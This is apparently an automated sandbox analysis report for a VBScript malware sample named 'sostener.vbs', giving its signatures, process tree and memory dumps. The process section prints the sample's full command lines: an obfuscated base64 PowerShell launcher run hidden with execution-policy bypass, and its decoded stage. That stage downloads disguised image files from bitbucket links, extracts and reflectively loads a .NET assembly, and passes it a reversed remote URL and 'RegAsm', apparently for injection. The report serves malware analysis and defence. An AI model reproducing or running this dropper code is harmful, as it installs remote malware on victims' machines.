Analysis
- max time kernel
14s - max time network
18s - platform
windows7_x64 - resource
win7-20240704-en - resource tags
- submitted
26/08/2024, 04:39
General
- Target sostener.vbs
- Size 14KB
- Sample240826-e9yt5svgre
- SHA256 babc0e3f52501b3128c5b0d806696a82c6575d7194a721d0e354d9bc7b077d91
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 4 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#LgBq#H##Zw#/#DE#MQ#4#DE#MQ#3#DM#NQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBi#Gk#d#Bi#HU#YwBr#GU#d##u#G8#cgBn#C8#a#Bn#GQ#ZgBo#GQ#ZgBn#GQ#LwB0#GU#cwB0#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBu#GU#dwBf#Gk#bQBh#Gc#ZQ#u#Go#c#Bn#D8#MQ#0#DQ#N##x#Dc#Mg#z#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#D0#I#BE#G8#dwBu#Gw#bwBh#GQ#R#Bh#HQ#YQBG#HI#bwBt#Ew#aQBu#Gs#cw#g#CQ#b#Bp#G4#awBz#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##t#G4#ZQ#g#CQ#bgB1#Gw#b##p#C##ew#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#UwBU#EE#UgBU#D4#Pg#n#Ds#I##k#GU#bgBk#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#p#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#GU#bgBk#EY#b#Bh#Gc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##LQBn#GU#I##w#C##LQBh#G4#Z##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQBn#HQ#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#KQ#g#Hs#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##r#D0#I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C4#T#Bl#G4#ZwB0#Gg#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#C##PQ#g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQ#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#UwB1#GI#cwB0#HI#aQBu#Gc#K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#L##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#EM#bwBu#HY#ZQBy#HQ#XQ#6#Do#RgBy#G8#bQBC#GE#cwBl#DY#N#BT#HQ#cgBp#G4#Zw#o#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##p#Ds#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#UgBl#GY#b#Bl#GM#d#Bp#G8#bg#u#EE#cwBz#GU#bQBi#Gw#eQBd#Do#OgBM#G8#YQBk#Cg#J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#p#Ds#I##k#HQ#eQBw#GU#I##9#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#LgBH#GU#d#BU#Hk#c#Bl#Cg#JwB0#GU#cwB0#H##bwB3#GU#cgBz#Gg#ZQBs#Gw#LgBI#G8#bQBl#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#G0#ZQB0#Gg#bwBk#C##PQ#g#CQ#d#B5#H##ZQ#u#Ec#ZQB0#E0#ZQB0#Gg#bwBk#Cg#JwBs#GE#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I##o#Cc#d#B4#HQ#LgBt#GM#Ug#v#Eg#Uw#v#Ho#cgBh#E0#LwBn#GU#Ug#v#Gs#YQBU#C8#OQ#2#DE#Lg#z#DM#Mg#u#DI#M##y#C4#MQ#5#C8#Lw#6#H##d#B0#Gg#Jw#s#C##Jw#y#Cc#L##g#Cc#ZQBy#HQ#eQB1#GI#dQBV#FU#QgBu#C0#LQ#t#Go#YwBo#GM#dQBq#Gg#QgBI#HY#YwBV#Ec#QwBL#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#x#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?11811735', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.mcR/HS/zraM/geR/kaT/961.332.202.19//:ptth', '2', 'ertyubuUUBn---jchcujhBHvcUGCK', 'RegAsm', '1'))}}"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
590aee7bdd69b59b.customDestinations-ms
memory/2708-4-0x000007FEF620E000-0x000007FEF620F000-memory.dmp
memory/2708-5-0x000000001B400000-0x000000001B6E2000-memory.dmp
memory/2708-6-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp
memory/2708-8-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp
memory/2708-7-0x00000000022F0000-0x00000000022F8000-memory.dmp
memory/2708-9-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp
memory/2708-10-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp
memory/2708-11-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp
memory/2708-17-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp